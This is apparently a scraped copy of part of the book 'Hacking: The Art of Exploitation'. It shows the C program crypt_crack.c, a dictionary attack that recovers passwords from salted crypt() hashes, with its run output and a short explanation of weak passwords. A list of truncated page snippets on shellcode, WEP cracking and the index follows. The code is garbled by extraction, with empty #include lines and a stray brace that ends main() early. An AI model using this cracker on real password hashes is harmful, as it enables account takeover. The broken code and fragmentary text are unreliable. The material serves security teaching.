hacking-the-art-of-exploitation

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crypt_crack.c #define _XOPEN_SOURCE #include #include /* Barf a message and exit. */ void barf(char *message, char *extra) { printf(message, extra); exit(1); } /* A dictionary attack example program */ int main(int argc, char *argv[]) { FILE *wordlist; char *hash, word[30], salt[3]; if(argc < 2) barf("Usage: %s \n", argv[0]); strncpy(salt, argv[2], 2); // First 2 bytes of hash are the salt. salt[2] = '\0'; // terminate string printf("Salt value is \'%s\'\n", salt); if( (wordlist = fopen(argv[1], "r")) == NULL) // Open the wordlist. barf("Fatal: couldn't open the file \'%s\'.\n", argv[1]); } while(fgets(word, 30, wordlist) != NULL) { // Read each word word[strlen(word)-1] = '\0'; // Remove the '\n' byte at the end. hash = crypt(word, salt); // Hash the word using the salt. printf("trying word: %-30s ==> %15s\n", word, hash); if(strcmp(hash, argv[2]) == 0) { // If the hash matches printf("The hash \"%s\" is from the ", argv[2]); printf("plaintext password \"%s\".\n", word); fclose(wordlist); exit(0); } } printf("Couldn't find the plaintext password in the supplied wordlist.\n"); fclose(wordlist); The following output shows this program being used to crack the password hash jeHEAX1m66RV., using the words found in /usr/share/dict/words. reader@hacking:~/booksrc $ gcc -o crypt_crack crypt_crack.c -lcrypt reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeHEAX1m66RV. Salt value is 'je' trying word: ==> jesS3DmkteZYk trying word: A ==> jeV7uK/S.y/KU trying word: A's ==> jeEcn7sF7jwWU trying word: AOL ==> jeSFGex8ANJDE trying word: AOL's ==> jesSDhacNYUbc 420 0x700
trying word: Aachen ==> jeyQc3uB14q1E trying word: Aachen's ==> je7AQSxfhvsyM trying word: Aaliyah ==> je/vAqRJyOZvU .:[ output trimmed ]:. trying word: terse ==> jelgEmNGLflJ2 trying word: tersely ==> jeYfo1aImUWqg trying word: terseness ==> jedH11z6kkEaA trying word: terseness's ==> jedH11z6kkEaA trying word: terser ==> jeXptBe6psF3g trying word: tersest ==> jenhzylhDIqBA trying word: tertiary ==> jex6uKY9AJDto trying word: test ==> jeHEAX1m66RV. The hash "jeHEAX1m66RV." is from the plaintext password "test". reader@hacking:~/booksrc $ Since the word test was the original password and this word is found in the words file, the password hash will eventually be cracked. This is why it’s considered poor security practice to use passwords that are dictionary words or based on dictionary words. The downside to this attack is that if the original password isn’t a word found in the dictionary file, the password won’t be found. For example, if a non-dictionary word such as h4R% is used as a password, the dictionary attack won’t be able to find it: reader@hacking:~/booksrc $ ./crypt_test h4R% je password "h4R%" with salt "je" hashes to ==> jeMqqfIfPNNTE reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeMqqfIfPNNTE Salt value is 'je' trying word: ==> jesS3DmkteZYk trying word: A ==> jeV7uK/S.y/KU trying word: A's ==> jeEcn7sF7jwWU trying word: AOL ==> jeSFGex8ANJDE trying word: AOL's ==> jesSDhacNYUbc trying word: Aachen ==> jeyQc3uB14q1E trying word: Aachen's ==> je7AQSxfhvsyM trying word: Aaliyah ==> je/vAqRJyOZvU .:[ output trimmed ]:. trying word: zooms ==> je8A6DQ87wHHI trying word: zoos ==> jePmCz9ZNPwKU trying word: zucchini ==> jeqZ9LSWt.esI trying word: zucchini's ==> jeqZ9LSWt.esI trying word: zucchinis ==> jeqZ9LSWt.esI trying word: zwieback ==> jezzR3b5zwlys trying word: zwieback's ==> jezzR3b5zwlys trying word: zygote ==> jei5HG7JrfLy6 trying word: zygote's ==> jej86M9AG0yj2 trying word: zygotes ==> jeWHQebUlxTmo Couldn't find the plaintext password in the supplied wordlist. Cryptology 421
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CD INside 2nd Edition Hacking the a
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® San Francisco
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BRIEF CONTENTS Preface ............
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0x300 EXPLOITATION 115 0x310 Genera
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0x6a0 Hardening Countermeasures....
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ACKNOWLEDGMENTS I would like to tha
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2 0x100 The rules for this problem
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4 0x100 overly simplistic encryptio
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can be written to accomplish any gi
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0x230 Control Structures Without co
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lest it continue into infinity. A w
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called constants. Returning to the
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Quite often in programs, variables
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0x244 Functions Sometimes there wil
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void turn(variable_direction, targe
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library, a function prototype is ne
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Like a row of houses on a local str
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Below, GDB is used to show the stat
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There are also operations that are
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The display format also uses a sing
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The first four bytes are shown both
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(gdb) x/10i $eip 0x804838b : cmp DW
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022 18 12 DC2 122 82 52 R 023 19 13
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familiar address of EBP minus 4 int
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the English language, knowledge of
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Function "strcpy" not defined. Make
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only be in one of 2 32 possible bit
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pointer.c #include #include int m
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addressof.c #include int main() {
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0x264 Format Strings The printf() f
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The final line just shows the addre
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As discussed earlier, dividing the
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} } printf("[char pointer] points t
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Naturally, it is far easier just to
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This is rather hacky, but since thi
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eader@hacking:~/booksrc $ ./a.out '
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0x267 Variable Scoping Another inte
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[in func1] i = 5, j = 42 [in func2]
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10 (gdb) break 7 Breakpoint 1 at 0x
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Notice that the static_var retains
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70 0x200 The heap segment is a segm
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End of assembler dump (gdb) disass
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0x804836f : mov DWORD PTR [esp+8],0
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int global_initialized_var = 5; voi
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int main(int argc, char *argv[]) {
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errorchecked_heap.c #include #incl
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The bar code on the back of this bo
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eader@hacking:~/booksrc $ ./simplen
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} printf("\n"); display_flags("O_WR
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eader@hacking:~/booksrc $ chmod 731
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uid_demo.c #include int main() { p
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} void fatal(char *); // A function
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#define FILENAME "/var/notes" int p
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[DEBUG] found a 34 byte note for us
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of current_time, an empty tm struct
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While struct memory can be accessed
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815015288 1315541117 2080969327 450
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printf("6 - Reset your account at 1
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int fd; } printf("\n===============
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} } // This function is the Pick a
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invalid_choice = 1; while(invalid_c
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Would you like to play again? (y/n)
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114 0x200 Play around with this pro
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A program can only do what it’s p
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don’t say exactly what their crea
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By now, you should be able to read
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eader@hacking:~/booksrc $ gcc explo
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11 if(strcmp(password_buffer, "bril
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auth_overflow2.c #include #include
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As expected, the overflow cannot di
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(gdb) c Continuing. Breakpoint 2, c
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Notice the two lines shown in bold
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eader@hacking:~/booksrc $ perl -e '
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0x0804848d : mov eax,DWORD PTR [eax
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20 offset = atoi(argv[1]); (gdb) 21
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called the NOP sled, that can assis
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The function of the for loop should
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\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6
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eader@hacking:~/booksrc $ ./notesea
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int main(int argc, char *argv[]) {
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char *buffer = (char *) malloc(160)
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7e99000-b7e9a000 rw-p b7e99000 00:0
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for that user. Using the salt value
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0x342 Overflowing Function Pointers
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7 - Quit [Name: Jon Erickson] [You
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0804b630 A _edata 0804b6d4 A _end 0
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n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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6 - Reset your account at 100 credi
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[Name: Jon Erickson] [You have 1230
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Parameter Input Type Output Type %d
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This is an interesting detail that
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0x353 Reading from Arbitrary Memory
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The wrong way to print user-control
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The addresses and junk data at the
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eader@hacking:~/booksrc $ reader@ha
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0x355 Direct Parameter Access Direc
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Since the stack doesn’t need to b
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0x357 Detours with .dtors In binary
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located. Then the actual bytes are
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Since the .dtors section is writabl
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[DEBUG] found a 34 byte note for us
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eader@hacking:~/booksrc $ objdump -
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0x400 NETWORKING Communication and
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For example, whenever you browse th
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Datagram sockets and UDP are common
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From /usr/include/bits/socket.h /*
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htons(short value) Host-to-Network
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fatal("in socket"); if (setsockopt(
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When compiled and run, the program
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This reveals that the webserver is
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From /usr/include/netdb.h /* Descri
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} while(recv_line(sockfd, buffer))
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} /* This function handles the conn
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Accepting web requests on port 80 G
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the two addressing schemes. In the
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also exist on this layer. ICMP pack
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0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3
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Interrupt:16 Base address:0x2024 re
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u_char buffer[9000]; if ((sockfd =
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pcap_handle = pcap_open_live(device
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eader@hacking:~/booksrc $ $ grep -R
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The compiler padding, as mentioned
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Now that the headers are defined as
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The caught_packet() function gets c
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With the headers decoded and separa
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Due to timeout values, the victim m
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eader@hacking:~/booksrc $ sudo neme
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data structures for the packet head
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if (pd->file_mem == NULL) pd->file_
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only builds ethernet/IP ARP packets
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The remaining libnet functions get
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dest_ip = libnet_name_resolve(argv[
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In the example above, the host 192.
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0x454 Ping Flooding Flooding DoS at
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The host machine will receive the s
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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TH_RST, // Control flags (RST flag
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Christmas tree), and the Null scan
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0x475 Proactive Defense (shroud) Po
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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NULL, // Payload (none) 0, // Paylo
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} while(recv(sockfd, ptr, 1, 0) ==
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$1 = 540 (gdb) p /x 0xbffff5c0 + 20
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" 90 90 90 90 90 90 90 90 90 90 90
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When this exploit is compiled and r
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0x500 SHELLCODE So far, the shellco
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mmap2(0xb7ee4000, 9596, PROT_READ|P
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#define __NR_stime 25 #define __NR_
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In shellcode, the bytes for the str
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eader@hacking:~/booksrc $ export SH
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which means that a small value like
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Instruction inc dec Description I
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After assembling this shellcode, he
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exec_shell.s BITS 32 jmp short two
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eader@hacking:~/booksrc $ nasm tiny
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int setresuid(uid_t ruid, uid_t eui
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push BYTE 11 pop eax push ecx push
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So, to make socket system calls usi
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push BYTE 16 ; argv: { sizeof(serve
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00000030 80 b0 66 43 52 52 56 89 e1
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This loop iterates ECX from 0 to 2,
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push edx ; Build sockaddr struct: I
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pop eax inc ebx ; ebx = 2 (needed f
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the return address uses multiple by
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0x600 COUNTERMEASURES The golden po
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0x620 System Daemons To have a real
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} printf("Caught signal %d\t", sign
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tinywebd.c #include #include #inc
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if(fd == -1) { // If file is not fo
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In previous chapters, we’ve writt
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63 if (listen(sockfd, 20) == -1) 64
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message. Shell variables are used f
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There’s a simple mistake in the t
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any program to show every system ca
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0x080487ee : mov DWORD PTR [esp+8],
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0x08048f5f : call 0x08048f64 : nop
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push BYTE 0x6 ; Close () pop eax in
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A quick glance at the function prol
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push edx ; Build arg array: { proto
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This program can be used to inject
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Then, from another terminal, the ne
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strace is used with the -p command-
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ig red flag. We could change the po
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of new_sockfd will still be correct
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00000020 b0 3f cd 80 49 79 f9 b0 0b
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push ebx mov ecx, esp int 0x80 ; pu
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Instruction Hex ASCII inc eax 0x40
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eader@hacking:~/booksrc $ gcc -o up
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Amazingly, these instructions, comb
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Page 385 and 386: eader@hacking:~/booksrc $ gcc -o pr
Page 387 and 388: At the end, the shellcode has been
Page 389 and 390: esp 0xbffffa2c 0xbffffa2c eax 0x0 0
Page 391 and 392: functions are shared, so any progra
Page 393 and 394: A quick binary search shows that th
Page 395 and 396: eginning of the buffer. When a prog
Page 397 and 398: The breakpoint is set at the last i
Page 399 and 400: Bouncing off linux-gate refers to a
Page 401 and 402: matrix@loki /hacking $ for i in `se
Page 403 and 404: manual page for execve() for detail
Page 405: for(i=0; i < 90; i+=4) // Fill buff
Page 408 and 409: encryption, credit card transaction
Page 410 and 411: through the incorrect filter, its p
Page 412 and 413: This means that, in general, the gr
Page 414 and 415: Without some way to manipulate the
Page 416 and 417: With a little bit of basic algebra,
Page 418 and 419: Since this is all done modulo N, th
Page 420 and 421: 0x750 Hybrid Ciphers A hybrid crypt
Page 422 and 423: [:] - Static route to port on host
Page 424 and 425: communication channel with the atta
Page 426 and 427: e asked to add the new fingerprint.
Page 428 and 429: to be a bit hazy. The goal behind t
Page 430 and 431: ---[Current State]-----------------
Page 432 and 433: 0x760 Password Cracking Passwords a
Page 436 and 437: Custom dictionary files are often m
Page 438 and 439: possible hashes for a single plaint
Page 440 and 441: Of course, there are downsides. Fir
Page 442 and 443: charval = (k-32)*95 + (l-32); // La
Page 444 and 445: } /* Print the plaintext pairs that
Page 446 and 447: printf("Building probability vector
Page 448 and 449: Of course, if WEP is turned on, onl
Page 450 and 451: Now when keystream data is needed,
Page 452 and 453: After an IV collision is discovered
Page 454 and 455: is really quite amazing. It takes a
Page 456 and 457: Seed = IV concatenated with the key
Page 458 and 459: int key[13] = {1, 2, 3, 4, 5, 66, 7
Page 460 and 461: and the key is hard-coded into the
Page 462 and 463: 9 0 | 41 1 | 73 0 | 105 0 | 137 1 |
Page 465 and 466: 0x800 CONCLUSION Hacking tends to b
Page 467 and 468: CNET News. “40-Bit Crypto Proves
Page 469 and 470: INDEX Symbols & Numbers & (ampersan
Page 471 and 472: uffer overrun, 119 buffers, 38 prog
Page 473 and 474: dtors_sample.c program, 184 dump()
Page 475 and 476: declaring as void, 17 for error che
Page 477 and 478: Internet Protocol (IP), 220 address
Page 479 and 480: nemesis_arp() function, 245 nemesis
Page 481 and 482: pointer_types4.c program, 56 pointe
Page 483 and 484: session layer (OSI), 196 for web br
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text segment, of memory, 69 then ke
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More No-Nonsense Books from NO STAR
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